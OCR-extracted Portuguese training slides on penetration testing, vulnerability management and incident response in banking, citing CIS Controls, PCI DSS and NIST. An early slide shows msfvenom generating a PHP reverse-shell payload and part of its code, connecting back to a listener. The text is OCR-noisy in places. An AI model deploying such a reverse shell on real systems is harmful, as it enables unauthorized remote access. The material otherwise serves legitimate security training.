Testar a eficiéncia do time de
............................................................ seguranca em detectar e bloquear
Identificar vulnerabilidades que podem ataques cibernéticos.

ser exploradas por ameacas, bem como
identificar vulnerabilidades que néo
seriam detectadas por varreduras
automatizadas.

Identificar outras oportunidades de
projetos estruturantes em
seguranca da informacéao.

Fornecer evidéncias que podem auxiliar na Analisar a magnitude real do impacto

obtencg&o de investimentos em ao negacio e operacional em caso de
seguranga com executivos C-level, ataques cibernéticos.

investidores e clientes.

40
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Um ataque cibernético é qualquer esforco intencional para roubar, expor, alterar, desativar ou destruir dados, aplicativos ou outros ativos por meio de acesso néo
autorizado a uma rede, sistema de computador ou dispositivo digital.

Vulnerabilidade Backdoor (acesso remoto)

/home
php/reverse_php LHOST=10.0.1.3 LPORT=9002 shell.php FANAE ol -
[-]1 No platform was selected, choosing Msf ::Module::Platform:: PHP from the payload u'—-'-l"'rdz"'i'-s:lS‘IE"“-:‘:'-':IHD-E':'E o D
[-]1 No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3038 bytes
Saved as: shell.php

oft Windows [Verzion 10.8.18248]

l 15 Microsoft Corporation. A1l rights reserved.

Database::set_defaﬁitsa
{ Us I 171 t

/home
. shell.php
/*<?php /*x/
@error_reporting(0);
@set_time_limit(@); @ignore_user_abort(1); @ini_set( 'max_execution_time",0);
$dis=@ini_get('disable_functions');
if(lempty($dis)){
$dis=preg_replace('/[, 1+/', ',", $dis);
$dis=explode(',"', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();

}

$ipaddr='10.0.1.3";
$port=9002;

(S TMDOM: temdd)

(tdefined( 'DEFAULT
define('S3 BUCKET

Exploit Payload Shell
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Tipos de Testes

Testar a eficécia e a resiliéncia dos ativos corporativos por meio da identificagcdo e exploragdo de fraquezas nos controles (pessoas, processos e tecnologia) e
da simulacao dos objetivos e a¢des de um atacante. Existem algumas maneiras de realizar testes de intrusédo, sendo que cada uma delas tera uma abordagem
diferente. Entre elas, podemos destacar a White Box, a Black Box e a Grey Box, conforme apresentado a seguir:

T

White Box

* Informacgbes sobre sistemas « Simulacao de ataque real « Combinacéao entre White e
conhecidas Black Box
* Nenhuma ou poucas
+ Geralmente utilizado na fase de informacgdes conhecidas « EXiste uma troca de
testes de uma aplicacao informacodes
» Teste das medidas de protecédo
» Autenticado ou nao e resposta a ataques * Fregquente em teste de invasao
para aplicacbes Web
» Teste mais profundo

* Autenticado ou ndo
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Os testes podem ser da perspectiva de rede externa, rede interna, aplicacdo, sistema ou dispositivo. Pode incluir engenharia social de usuarios ou desvios de
controle de acesso fisico. Abaixo mostramos alguns dos principais tipos de testes de intrusao:

Principais L .
Modalidades Escopo Autenticacao Tipos
Infraestrutura L) Interno Autenticado Whitebox

Aplicacdo Web Externo @ N&ao autenticado @ Graybox

Mobile @ Blackbox

Wireless

API

o 43 () @D ) &9

S

loT

Cloud

©
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O teste de penetracdo automatizado pode acelerar drasticamente o processo de protecdo de aplicativos da Web. Isso beneficia a todos - incluindo os proprios
testadores de penetracdo. Um exemplo disso, é quando o testador implanta um grande nimero de automatiza¢cdes para procurar vulnerabilidades em seu alvo.

ImmuniWeb*®

Al for Application Security

Cobalt Strike sportowigger  BUTP SUIte Professional

FORTRA Adversary Simulations and

Red Team Operations

by PortSwigger

Ferramenta de acesso remoto comercial, com Ajuda a automatizar tarefas de teste Mantém suas defesas constantemente em
todos 0s recursos, que Sse apresenta como repetitivas e possui ferramentas de teste de alerta, simulando automaticamente ataques do
"software de simulacao projetado para executar segurangca manuais e semiautomatizadas. mundo real. Isso identifica vulnerabilidades mais
ataques direcionados e emular as acdes pos- Consegue ajudar a testar as vulnerabilidades rapidamente, ajuda a corrigi-las antes que elas
exploracdo de ameacas cibernéticas”. OWASP Top 10 - bem como as mais recentes sejam exploradas e mantém suas defesas

técnicas de hacking. afiadas contra ameacas em evolucao.



Abordagem
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Testar a eficacia e a resiliéncia dos ativos corporativos por meio da identificagdo e exploragcdo de fraquezas nos controle pessoas, processos e tecnologia) e da
simulacdo dos objetivos e acdes de um atacante. A abordagem para a realizacéo de testes de intrusdo envolve varias etapas, para que se consiga adquirir o
maximo de informacdes sobre 0 alvo, e garantir ataques mais eficientes, a seguir apresentamos as principais etapas e organizacao do teste de intrusao:

Planejamento

Descoberta e Coleta

Identificacdo e Analise

Exploracao

Relatorio

Antes do inicio do teste é
necessario realizar o
planejamento de todas as
atividades que serao
desenvolvidas, incluindo:

» Definicdo de escopo
dos testes;

* Definicdo dos
ambientes de
terceiros;

»  Critérios que serdo
utilizados no teste;

* Ferramentas que
serao utilizadas no
teste.

1

Entender funcionalidade e
comportamento da aplicacéo;

Identificar servigos e
componentes ativos;

Identificar a arquitetura da
aplicacao (EndPoint, API,
Linguagem de programacgao);

Coletar informacgdes de
autenticacdo e/ou autorizacéo;

Enumeracéo das informacdes
coletadas.

Realizar varreduras através
de ferramentas automatizadas
e/ou manuais para identificar
vulnerabilidades em cada
sistema ou ativo identificado;

Realizar analise dindmica e
estaticas nas aplicacées;

Mapear componentes
relevantes e métodos de
entradas de aplicacdes a fim
de explorar controles de
autenticacdo e manipulacdo
de dados;

Analisar vulnerabilidades com
potencial de exploracao;

Validar vulnerabilidades para
eliminar falso-positivos;

Obter aprovagdes necessarias
para prosseguir com a
exploragao.

Realizar exploragéo de
vulnerabilidades para obter
acesso ndo autorizado a rede,
aplicacéo ou dados.

Tentar escalar privilégios, bem
como remover quaisquer
evidéncias de ataque.

Executar exploits puablicos e
privados, para confirmar a
presenca das vulnerabilidades
identificadas e comprovar os
efeitos reais na seguranca do
ambiente.

Categorizar os riscos
associados as fragilidades
identificadas.

Detalhar e descrever as
fragilidades identificadas.

Definir as recomendacdes
por fragilidade identificada.

Apresentacao Executiva
dos resultados
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A primeira fase de um teste de invaséo € fase de descoberta e coleta de informacdes, que consiste no processo de levantamento de informag¢des sobre o alvo.

Toda e qualquer informacao pode ser relevante para ataques futuros.

Vale ressaltar que essa fase é uma das mais importantes, e normalmente demanda muito tempo para a realizacdo de uma descoberta e anélise bem feita. Uma
coleta de informacgdes incompleta ou inconsistente pode resultar no fracasso do teste. A seguir sdo apresentados 2 formas de realizar a descoberta e andlise:

. N&ao héa contato direto com a infraestrutura do alvo.
. N&o é possivel detectar.

. Ha requisicdes e contato direto com a infraestrutura do alvo.
. E possivel detectar.

Durante essa fase, é essencial coletar meticulosamente uma variedade de informacdes que possam ser exploradas em um ataque. Cada detalhe desempenha
um papel crucial na compreenséo do panorama de seguranca e na identificacdo de possiveis vulnerabilidades. Abaixo estdo os principais pontos a serem considerados

durante o processo:

Enderecos IP
Dominios

URLs
E-mails
Informacdes de funcionarios

Vagas na empresa

Subsidiarias

LocalizagOes

Arquivos publicados na Internet
Redes sociais de colaboradores

Exemplos de ferramentas para a descoberta e coleta de informacgdes: Google; Registro.Br; Whois; DNS enumeration, N-Map (port scan); OSINT —

Netcraft; Recon-NG; entre outras.
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De acordo com o CIS Controls, nesta etapa séo realizadas varreduras para identificar as vulnerabilidades que podem ser usadas como portas de entradas na
empresa (superficie de ataque) por ameacas cibernéticas. E importante certificar-se de que todos os ativos corporativos que estdo dentro do escopo sejam
descobertos, e ndo apenas com base em uma lista estatica, que pode estar desatualizada ou incompleta. Em seguida, as vulnerabilidades serdo identificadas nesses
alvos.

A seguir sao apresentadas as atividades relacionadas a etapa de identificacdo e analise de vulnerabilidades:

Realizar varreduras através de ferramentas automatizadas e/ou
manuais para identificar vulnerabilidades em cada sistema ou ativo

ﬁﬁﬁ Analisar vulnerabilidades com potencial de
identificado

exploracao

8{ Validar vulnerabilidades para eliminar falso-

Realizar analise dinamica e estaticas nas aplicacoes "
plicae positivos

Obter aprovacdes necessarias para prosseguir

aplicagfes a fim de explorar controles de autenticacéo e ~
com a exploracao

manipulagéo de dados

g) (@) (7

Mapear componentes relevantes e metodos de entradas de

\

Formas de validagdo do modelo e das ameacas, e verificagdo do
sucesso das acdes tomadas

Exemplos de ferramentas para a descoberta e coleta de informacdes: Nessus, Open Vas, Qualys; Owasp Zap (Proxy); Burpsuite; entre outras
ferramentas.
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Exploracao

De acordo com o CIS Controls, as exploragdes as vulnerabilidades identificadas (conforme os resultados da etapa anterior) sdo executadas para demonstrar
especificamente como uma ameaca cibernética pode subverter os controles de seguranca da empresa (por exemplo, a protecdo de dados sensiveis especificos)
ou até mesmo realizar agbes maliciosas no ambiente (por exemplo, o estabelecimento de uma infraestrutura secreta de comando e controle, acesso ndo autorizado,
escalacdo de privilégios, exfiltracdo de dados, entre outras). Os resultados fornecem uma visdo mais profunda, por meio de demonstracdo, dos riscos de
negoécios de varias vulnerabilidades.

1 Exploracao

» Cada ambiente possui aspectos/tecnologias especificas que exigem que o testador selecione a abordagem mais adequada e as
ferramentas necessérias para realizar o teste de penetracao;

» Realizar exploracéo de vulnerabilidades para obter acesso nédo autorizado a rede, aplicacdo ou dados;

» Executar exploits publicos e privados, para confirmar a presenca das vulnerabilidades identificadas e comprovar os efeitos
reais na seguranca do ambiente.

»= Observacao: Alguns riscos incluem desligamento inesperado de sistemas que podem ser instaveis, exploracdes que podem
excluir ou corromper dados ou configuragdes.

2 Pos-exploragao

» S80 as acdes tomadas ap0s o comprometimento inicial de um sistema ou dispositivo, por exemplo, movimentacdes
laterais, escalonamento de privilégios ou técnicas de pivotamento — o que permite que o testador, neste caso, estabeleca
uma nova fonte de ataque a partir do novo ponto de vista no sistema — para obter acesso adicional a sistemas ou recursos de

rede.

Exemplos de ferramentas para a descoberta e coleta de informacdes: Netcat, TCP Dump, The Metasploit Framework (MSF), Wireshark, entre
outras.




Vulnerabilidades encontradas

- E importante que a organizacg&o testada
investigue cuidadosamente sistemas ou
aplicativos com os controles de seguranca
ineficazes;

A organizacao deve tomar medidas para
corrigir qualquer vulnerabilidade exploréavel
dentro de um periodo de tempo razoavel,

O testador devera executar um novo teste para
validar os controles recém-implementados
para mitigar o risco original.

Nessa etapa os riscos sado categorizados e os resultados apresentados aos executivos.

,

Limpeza do Ambiente

E importante que o testador documente e
divulgue a organizacdo quaisquer alteracdes
feitas no ambiente;

Contas que foram criadas como parte da
avaliacdo pela organizacao ou pelo testador
devem ser removidas, assim como ferramentas
instaladas utilizadas nos tetes (essas
ferramentas devem ser removidas ao final do
teste, para impedir a exploragéo contra a
empresa).

FEBRABAN

Relatério

* Deve incluir: a categorizacao dos riscos
associados as fragilidades identificadas,
detalhar e descrever as fragilidades
identificadas, bem como os vetores de ataque,
as recomendacdes paracorrigir as
vulnerabilidades identificadas e mitigar os
riscos associados.

« E recomendavel que o relatério contenha
guaisquer constatacdes que impactem a
postura de seguranca da organizagéo
avaliada.

» O relatorio pode ser elaborado a nivel técnico e
executivo, bem como ser utilizado como apoio
para atomada de decisédo sobre os riscos e
controles mitigatérios no ambiente da
organizacao.
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

NIST \ E DSS € . SPp
B 3
National Institute of S MSV C\> / MITRE WCOMP”ANT - DEn!,r'lU%njﬂangnl
Security Praject

Standards and Technology INSTITUTE

Conformidade: Dado o uso extensivo de padrées amplamente aceitos pela industria, a orquestracao dos testes deve ser alinhada com alguns dos requisitos de
conformidade mais exigentes, permitindo estimar o nivel de conformidade com PCI-DSS, FISMA, HIPAA, SOX, entre outros.
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Agora que aprendemos sobre as atividades relacionadas ao processo de teste de invasao, relembre os principais termos e conceitos
apresentados neste material:

Testes de invasédo: Testar a eficacia e a resiliéncia dos ativos corporativos por meio da identificacdo e exploracdo de fraquezas nos controles (pessoas,
processos e tecnologia) e da simulagao dos objetivos e a¢cdes de um atacante.

x Descoberta de informacdes: Consiste no processo de levantamento de informacfes sobre o alvo, incluindo: enderecos IPs, dominios, URL's, informacdes
de funcionérios, arquivos publicados na internet, entre outros.

Identificacdo e analise: Execucao varreduras para identificar as vulnerabilidades que podem ser usadas como portas de entradas na empresa (superficie
de ataque) por ameacas cibernéticas.

Exploracdo: As exploracdes as vulnerabilidades identificadas sdo executadas para demonstrar especificamente como uma ameaca cibernética pode

subverter os controles de seguranca da empresa (por exemplo, a protecdo de dados sensiveis especificos) ou até mesmo realizar agcdes maliciosas no
ambiente (por exemplo, acesso nao autorizado, escalacéo de privilégios, exfiltracdo de dados, entre outras).
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Requisitos — Gestao de Vulnerabilidades

Este material foi elaborado de acordo com as diretrizes do CIS Controls, bem como foi considerado os requisitos de seguranga da informacao relacionados ao tema de
acordo com as normas e frameworks apresentado abaixo:

PCI DSS CIS Controls ISO 27002 ISO 27701 NIST CSF

2.1 Processos e mecanismos para
aplicar configuragdes seguras em todos
0s componentes de sistema sao
definidos e compreendidos.

2.2 Os componentes de sistema s&o
configurados e administrados com
seguranca.

5.1 Processos e mecanismos para
proteger todos os sistemas e redes de
software malicioso séo definidos e
compreendidos.

5.2 O software malicioso (malware) é
evitado ou detectado e resolvido.

5.3 Os mecanismos e processos
antimalware séo ativos, mantidos e
monitorados.

5.4 Os mecanismos antiphishing
protegem 0s usudrios contra ataques de
phishing.

11.3 Vulnerabilidades externas e
internas sdo regularmente identificadas,
priorizadas e tratadas.

@

7.1 Estabelecer e manter um processo
de gestdo de vulnerabilidade

7.2 Estabelecer e manter um processo
de remediagao

7.3 Executar a gestdo automatizada de
patches do sistema operacional

7.4 Executar a gestdo automatizada de
patches de aplicacdes

7.5 Realizar varreduras automatizadas
de vulnerabilidade em ativos
corporativos intemos

7.6 Realizar varreduras automatizadas
de vulnerabilidade em ativos
corporativos expostos externamente

7.7 Corrigir vulnerabilidades detectadas

¥

8.8 Management of technical
vulnerabilities

8.9 Configuration management

8.19 Installation of software on
operational systems

¢

6.9.6.1 Gestdo de vulnerabilidades
técnicas

6.9.6.2 Restrigdes quanto a instalacao
de software

9

ID.RA-01: Vulnerabilidades em ativos
sdo identificadas, validadas e
registradas

ID.RA-08: Processos para receber,
analisar e responder a divulgacdes de
vulnerabilidades s&o estabelecidos
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As instituicbes sdo constantemente desafiados por
atacantes que procuram vulnerabilidades em sua
infraestrutura para explorar e obter acesso.

Compreender e gerenciar vulnerabilidades € uma
atividade continua, que requer foco de tempo, atencao e
recursos.

Essa é um processo que nunca sera perfeito, uma vez que a
vulnerabilidade € conhecida na comunidade, o processo
mencionado de remediacdo pode ser iniciado. No entanto 0s
defensores devem estar cientes de que pode sempre haver
vulnerabilidades que eles ndo podem remediar e, portanto,

precisam usar outros controles para mitigar.

FEBRABAN

Os atacantes tém acesso as mesmas informagdes
e muitas vezes podem tirar proveito das
vulnerabilidades mais rapidamente do que uma
empresa pode  remediar, eles podem
desenvolver um exploit de "zero day", onde
ndo ha uma remediacdo conhecida para esse
ataque.

E necessario ter em mente que existe um
tempo para a vulnerabilidade ser descoberta e
0S pesquisadores ou a comunidade
desenvolver e implantar patches, indicadores
de comprometimento (IOCs) e atualizages.

Por isso € importante as instituicdes avaliar 0s
riscos e priorizar quais as vulnerabilidades séao
mais impactantes para a empresa e quais poderao
ser exploradas primeiro.



O que é gestdo de vulnerabilidades?

O gerenciamento de vulnerabilidades € o processo
continuo e regular de seguranca da Tl que envolve
a identificar, avaliar, relatar, gerenciar e remediar
vulnerabilidades cibernéticas em dispositivos,
redes e aplicacdes de modo a reduzir 0s riscos
de ataques cibernéticos e violagdes.

Quais os beneficios?

+ Identificar fragilidades antes que sejam exploradas
por hackers ou levem a outro tipo de acao nociva.

+ Evitar problemas de seguranca previne a
paralisacdo das atividades, prejuizos e danos a
imagem da organizacdo e a suarelacdo com
clientes e outros stakeholders.

« Contribui para que padrdes de seguranca mais
robustos sejam adotados, mantendo a
conformidade com a LGPD e outras diretrizes que
se apliquem ao setor de atuacao da empresa.

FEBRABAN

Quais as normas/frameworks?

ISO 27001/27002
NIST Cyber Security Framework

PCI-DSS (padréo de seguranca de dados do setor
de cartdes de pagamento)

Cis Controls

Como as vulnerabilidades sao classificadas?

» Essa avaliacdo é feita considerando a classificacéo

baseada no Common Vulnerability Scoring System
(CVSS), um sistema que define pontuagdes para
indicar a gravidade e as caracteristicas das
vulnerabilidades de softwares.



Abordagem
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As organizacfes devem obter informacGes oportunas de

ameacas disponiveis sobre: atualizacdes de software, patches, A 1 @ Z
] ) valiar e Categorizar e
avisos de seguranca, boletins de ameacas, entre outras, e Priorizar Priorizar

devem revisar regularmente seu ambiente para identificar essas
vulnerabilidades antes de uma potencial exploracao por agentes

maliciosos.

@ O

Compreender e gerenciar vulnerabilidades é uma atividade
continua, que requer foco de tempo, atencéo e recursos.

we | (© RS
Gestéo de Responder

Vulnerabilidade
Continua

Exemplos praticas de maturidades relacionadas a Gestao de Vulnerabilidades:

Baixa Maturidade: Durante uma revisdo interna, uma organizagao identificou um servigo de
nuvem que nao tinha a funcionalidade de autenticagdo multifator habilitada. Ao avaliar a
situacéo, a organizacdo decidiu que n&do valia a pena o tempo e o esfor¢co para habilitar a
funcionalidade, sem mencionar as reclamacfes que esperavam receber dos usuérios. Entéo, a

organizacdo optou por simplesmente aceitar o risco de ndo implementar um controle
compensatorio forte.

Alta Maturidade: Durante uma revisdo interna, uma organizacdo identificou um servidor
Microsoft Windows de baixo risco que ndo pode ser corrigido. Como resultado, a organizagao
implementou um plano para desativar o servidor dentro de dois meses. Nessa situagao, ainda
era importante que a organizacdo aplicasse controles compensatorios para reduzir o risco
identificado a um nivel aceitdvel Como resultado, uma prioridade de risco foi designada e
fortes controles de compensacgéo foram implementados.
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. _ Gestao de Vulnerabilidade
Categorizar e Priorizar Responder .
Continua

« [Essa éaprimeira etapa do processo de gestdo de vulnerabilidades técnicas.

- Erecomendavel a utilizacdo de ferramentas automatizadas para identificar vulnerabilidades de seguranca nos ativos
tecnoldgicos corporativos, incluindo notebooks, servidores, endpoints, disponiveis moveis, entre outros ativos.

« Asferramentas realizam varreduras de portas, detectando servidores ativos e simulando invasdes para detectar
vulnerabilidades.

« Além disso, informacdes sobre ameaca cibernéticas também podem ser obtidas a partir de foruns e fontes de compartilhamento
de informacdes e centros de inteligéncia.

Potenciais impactos no negoécio e probabilidades
sao identificados na organizagao

Realizar varreduras atraves de ferramentas automatizadas e/ou
= manuais para identificar vulnerabilidades em cada sistema ou ativo
identificado (internos e externos)

=o

a Vulnerabilidades dos ativos sdo identificadas e

Validar vulnerabilidades para eliminar falso-positivos
documentadas

Outros exemplos de ferramentas para descobrir vulnerabilidades: InsightVM, Qualys VMDR, Tripwire IP360, SanerNow Continuous Vulnerability and
Exposure Management (CVEM), Falcon Spotlight e Open Vas.
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Gestdo de Vulnerabilidade
Continua

Categorizar e Priorizar Responder

Exemplos de Ferramentas para Identificar Vulnerabilidades:

Nessus

Nessus € um programa que executa a verificacdo de falhas/vulnerabilidades de seguranca. Ele realiza uma varredura de portas,
detectando servidores ativos e simulando invasdes para detectar vulnerabilidades. Uma caracteristica importante € que o Nessus
procura por servidores ativos ndo apenas nas portas padrao, mas em todas as portas TCP.

Nikto

O Nikto é um script (conjunto de instru¢des) que analisa vulnerabilidades comuns em servidores Web. Ela ir4 encontrar diversos
tipos de arquivos, configuracBes e programas padrdes inseguros, auxiliando a utilizacdo de outros programas, como OpenVAS e
Nessus.

Acunetix

Acunetix € uma ferramenta muito utilizada para realizar scans de vulnerabilidades em aplicacbes Web. Esta ferramenta testa
ataques de SQL Injection, XSS, XXE, SSRF, Host Header Injection, entre outras vulnerabilidades Web existentes

65



Etapas - Gestao de Vulnerabilidades FEBRABAN

Identificar Categorizar e Priorizar Responder Gestéao de Vu!nerabllldade
Continua

O Avaliar as ameacas como baixa, média, alta e critica.

O Considerar o uso de uma metodologia formal, objetiva e justificavel
gue retrate com precisao 0s riscos pertinentes a organizacao.

QO Permite a priorizagao e tratamento dos itens de maior risco mais
rapidamente.

O E necessario avaliar a probabilidade de um agente de ameaca

usar uma vulnerabilidade ou potencial impacto de uma exploragéo
na empresa.

0.0 Nenhuma
0.1-3.9 Baixa
4.0-6.9 Média
7.0-8.9 Alta

9.0-10.0 Critica




Identificar

Corrigir totalmente uma vulnerabilidade
para que ela ndo possa ser explorada.
Opcéao de tratamento ideal que as
organizacdes buscam.

Categorizar e Priorizar

Exemplo
Gravidade Tempo para correcao
Critica 2 dias
Alta 7 dias
Media 25 dias
Baixa 90 dias

Diminuir a probabilidade e/ou o impacto
de uma vulnerabilidade ser explorada.
Necessario quando uma correcao ou patch
adequado ainda ndo esta disponivel.

Deve ser usada para ganhar tempo para
gue uma organizagao corrija uma
vulnerabilidade.

FEBRABAN

Gestdo de Vulnerabilidade

Continua

Apos a priorizagao da vulnerabilidade, € necessario adotar a remediacdo de acordo a tolerancia ao risco da instituicdo, usando uma
metodologia formal, objetiva e justificavel que retrate com precisdo os riscos das vulnerabilidades pertinentes a organizacao.

+ N&o tomar nenhuma agéo para corrigir
ou diminuir a probabilidade/impacto.
+ Justificado quando uma vulnerabilidade
é considerada de baixo risco e o custo
de corrigir a vulnerabilidade é
substancialmente maior do que o custo
incorrido por uma organizacao se a
vulnerabilidade for explorada.

* Obs.: Caso avulnerabilidade néo
tenha sido remediada ou mitigada e
seja de nivel CRITICA ou ALTA,
torna-se necessario realizar a
comunicacdo e informar a instituicao
sobre a existéncia da
vulnerabilidade.
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Identificar Categorizar e Priorizar

Avaliacdo Continua Monitoramento Correcdes Continuas Relatorios
Continua

» Implantar patches, indicadores de comprometimento (IOCs) e atualizagdes.

Harden izagéo segura“ > » Realizar testes de regresséo nos patches e instalar o patch.
» Baseline de seguranca com base nos requisitos de seguranca ou classificacdo dos dados no ativo corporativo.




Identificar Categorizar e Priorizar

O deve
ser implementado para garantir que os patches atualizados sejam
instalados para todos os softwares autorizados.

Existe a possibilidade de que uma atualizacdo ndo resolva o

A problema adequadamente e tenha efeitos colaterais negativos.
Por isso é importante manter o software original e testar a
atualizagéo.

A organizagéo pode considerar o fornecimento de um processo
D{> de atualizacdo automatizado em que essas atualizacfes

séo instaladas em sistemas ou produtos afetados sem a

necessidade de intervencao do cliente ou do usuario.

A gestao técnica de vulnerabilidades pode ser vista como
uma subfunc¢éo da gestdao da mudanca, onde a introducao de
b\ novos sistemas e as grandes alteracbes aos sistemas
existentes devem seguir as regras acordadas e um
processo formal de documentacado, especificacdo, testes,
controle de qualidade e implementacgao gerenciada.
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Responder

Os sao projetados como um componente-chave de
um programa abrangente de seguranca cibernética, para fornecer
orientacdes prescritivas para estabelecer uma postura de
configuracdo segura do sistema operacional.

As configuracdes, incluindo as configuracdes de seguranca,

R: de hardware, software, servicos e redes devem ser
estabelecidas, documentadas, implementadas, monitorizadas e
revistas.

O Cis Benchmark da definicbes recomendadas seguindo
diversos componentes aplicaveis. Se caso 0s componentes nao

@ sdo aplicaveis, ndo estardo nas recomendagfes. Nas
recomendacbes € exposto se a configuracdo €
automatizada ou manual, uma descri¢cdo, o impacto que ela
pode ter, entre outras coisas.

E importante que a organizacgéo defina e implemente processos
e ferramentas para impor as configuragcfes definidas,

incluindo configuracdes de seguranca, para o hardware,
software, servi¢cos, redes e sistemas recém instalados,
durante toda a sua vida util.
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

INTERNATIONAL ISO/IEC
STANDARD 27002

@ S Tecurity: © cis controls

Controles CIS

DSS
»
s COMPLIANT

NST OWASP

National Institute of ' Open Web Application
Standards and Technology Security Praject

e

Conformidade: Dado o uso extensivo de padrbes amplamente aceitos pela indastria, a orquestracdo das varreduras deve ser alinhada com alguns dos
requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com ABNT NBR 1SO, PCI-DSS, SOX, OWASP, entre outros.
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Agora que aprendemos sobre as atividades relacionadas ao processo de gestdo de vulnerabilidades técnicas, relembre os principais termos e
conceitos apresentados neste material:

Gestédo de Vulnerabilidade: O gerenciamento de vulnerabilidades € o processo continuo e regular de identificar, avaliar, relatar, gerenciar e remediar
vulnerabilidades cibernéticas.

O Common Vulnerability Scoring System (CVSS) : Fornece uma maneira de avaliar e priorizar as vulnerabilidades que podem afetar a instituicdo

Resolucao: Etapa em que as vulnerabilidades, ja categorizadas, irdo ser remedias, mitigadas ou aceitas.

Gerenciamento de atualizagfes de software: Garante que as atualizagdes aprovadas de patches e aplicativos sejam implementadas e automatizadas.

Gestao de mudancga: Gerencia a introdugao de novos sistemas e as grandes alteragdes aos sistemas.

CIS Benchmark: Fornece orientacdes para estabelecer uma postura de configuracdo segura do sistema operacional..
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Este material foi elaborado de acordo com as diretrizes do PCI DSS e CIS Controls, bem como foi considerado os requisitos de seguranga da informacao relacionados
ao tema de acordo com as normas e frameworks apresentado abaixo:

12.10.1 Um plano de resposta a
incidentes existe e esta pronto para
ser ativado

12.10.2 Pelo menos uma vez a cada
12 meses, o plano de resposta a
incidentes de seguranca € revisado

12.10.3 Pessoal especifico é
designado para estar disponivel 24
horas por dia, 7 dias por semana

12.10.4 O pessoal responséavel por
responder a incidentes de seguranca
suspeitos e confirmados é adequada e
periodicamente treinado em suas
responsabilidades

12.10.5 O plano de resposta a
incidentes de seguranca inclui
monitorar e responder a alertas de
sistemas

12.10.6 O plano de resposta a
incidentes de seguranca é modificado
e evoluido de acordo com as ligbes
aprendidas

3

17.1 Designar Pessoal para Gerenciar
Tratamento de Incidentes

17.2 Estabelecer e manter
informacdes de contato para relatar
incidentes de seguranca

17.3 Estabelecer e manter um
processo corporativo para relatar
incidentes

17.4 Estabelecer e manter um
processo de resposta a incidentes

17.5 Atribuir fungbes e
responsabilidades chave

17.6 Definir mecanismos de
comunicacao durante a resposta a
incidente

17.7 Conduzir exercicios de resposta
a incidentes rotineiros

17.8 Conduzir analises pds-incidente

17.9 Estabelecer e manter limites de
incidentes de seguranca

5.24 Planejamento e preparagao para
gerenciamento de incidentes de
seguranca da informacgéo

5.25 Avaliacéo e decisdo sobre
eventos de seguranca da informacao

5.26 Resposta a incidentes de
seguranca da informacgao

5.27 Aprendizagem com incidentes de
seguranca da informacéo

5.28 Coleta de evidéncias

6.13.1.1 Responsabilidades e
procedimentos em gestédo de
incidentes

6.13.1.2 Notificagdo de eventos de
seguranga da informacéo

6.13.1.3 Notificando fragilidades de
seguranc¢a da informacao

6.13.1.4 Avaliagéo e deciséo dos
eventos de seguranca da informacao

6.13.1.5 Resposta aos incidentes de
seguranga da informacéo

6.13.1.6 Aprendendo com os
incidentes de seguranga da
informacao

6.13.1.7 Coleta de evidéncias

RS. MA-01: O plano de resposta a
incidentes é executado em
coordenacdo com terceiros relevantes
assim que um incidente é declarado

RS. MA-02: Notificacdes de incidentes
séo triadas e validadas

RS. MA-03: Os incidentes sdo
categorizados e priorizados
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Incidentes Cibernéticos

2023 Data Breach
Investigations Report

Relatério anual com andlise de casos reais de vazamentos de
informacgdes e incidentes de seguranga com apoio de mais de 60
empresas especializadas.

Na ultima pesquisa o mercado financeiro registrou
1830 incidentes de seguranca da informacao onde
480 dos incidentes tiveram divulgacéo de dados
confirmada.

L 2

-l |- 1 acada 4 Incidentes.
com divulgacao de dados confirmada

(7% de todos os incidentes de seguranga no financeiro so:
» Ataques de Aplicacdes
» Erros humanos
» Exploracéo de vulnerabilidades.

Importdncia de Seguranca da Informacdo para as instituicbes

financeiras se faz necesséria devido a complexidade do ambiente
em um mercado alvo de ataques.

Fonte: DBIR 2023 Data Breach | Investigations Re port
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O ransomware continua a ser um dos principais tipos de
ataques presentes nas violagfes e, embora ndo tenha
aumentado, manteve-se estavel em 24%. O ransomware é
onipresente entre organizacdes de todas as dimensfes e em todos
0s setores.

_J

O grupo LockBit domina o cenéario do ransomware com 39% do

total de vitimas (1091 vitimas), mais do que o quadruplo do

numero do segundo colocado, o grupo Conti, que também teve um
aumento significativo no nimero de vitimas, crescendo cerca de
92% entre o0 4.° trimestre de 2022 e o0 1.° trimestre de 2023. )

Os ataques contra setores especificos também aumentaram,
por exemplo, 0 nimero de vitimas da industria de manufatura
cresceu 42% entre o 4.° trimestre de 2022 e 0 4.° trimestre de
2021, e o numero de vitimas do setor da salude a cresceu de 39%

_J

entre o 4.° trimestre de 2022 e 0 4.° trimestre de 2021.

Fonte: Akamai Ransomware Report - 2023
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Introducao

Segundo o CIS Control, as Organizacdes devem estabelecer um programa para desenvolver e manter uma capacidade de resposta a incidentes (por exemplo,
politicas, planos, procedimentos, funcdes definidas, treinamento e comunicacdes) para preparar, detectar e responder rapidamente a um incidente de seguranca. O

objetivo principal da resposta a incidentes € identificar ameacas na empresa, responder a elas antes que possam se espahar e remedia-las antes que
possam causar impactos.

Eventos:
Qualquer ocorréncia
observavel em um
sistema ou rede. As
fontes de log de
sistemas individuais,
dispositivos de rede ou

gualquer outro, conterédo

eventos.

Principais conceitos em gestao de incidentes

Alertas:

Pode ser produzido com
base em um Unico
evento que mostra
imediatamente uma

ameaca em potencial ou

em uma série de
eventos correlatos que
indicam uma ameaca em
potencial.

Falso Positivos:
Evento que, apls
analise, conclui-se que
nao representa acéo
maliciosa ou desvio de
procedimento. Apés a
identificagéo deste tipo
de situacao, o analista
pode solicitar revisdo de
excecao ou daregra de
detecgéo.

Alerta Relevante:
Quando o evento ou
alerta é determinado

como um possivel

incidente de seguranca
cibernética. Um alerta
relevante requer uma
investigacdo minuciosa
para entender o Modus
Operandi e realizar a
validacéo se é um
incidente ou um falso
positivo.

Incidentes:

Violagdo de uma politica

ou controle de
seguranca explicito ou

implicito, com

capacidade de
comprometer toda uma
infraestrutura interna.

80
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De acordo com o Art. 6° da resolucdo 4893 do Bacen, as instituicbes devem estabelecer plano de acdo e de resposta aincidentes visando a implementacéo da
politica de seguranca cibernética:

O plano deve conter no minimo:

As acdes a serem desenvolvidas pela instituicao para adequar suas estruturas
organizacional e operacional aos principios e as diretrizes da politica de seguranca
cibernética

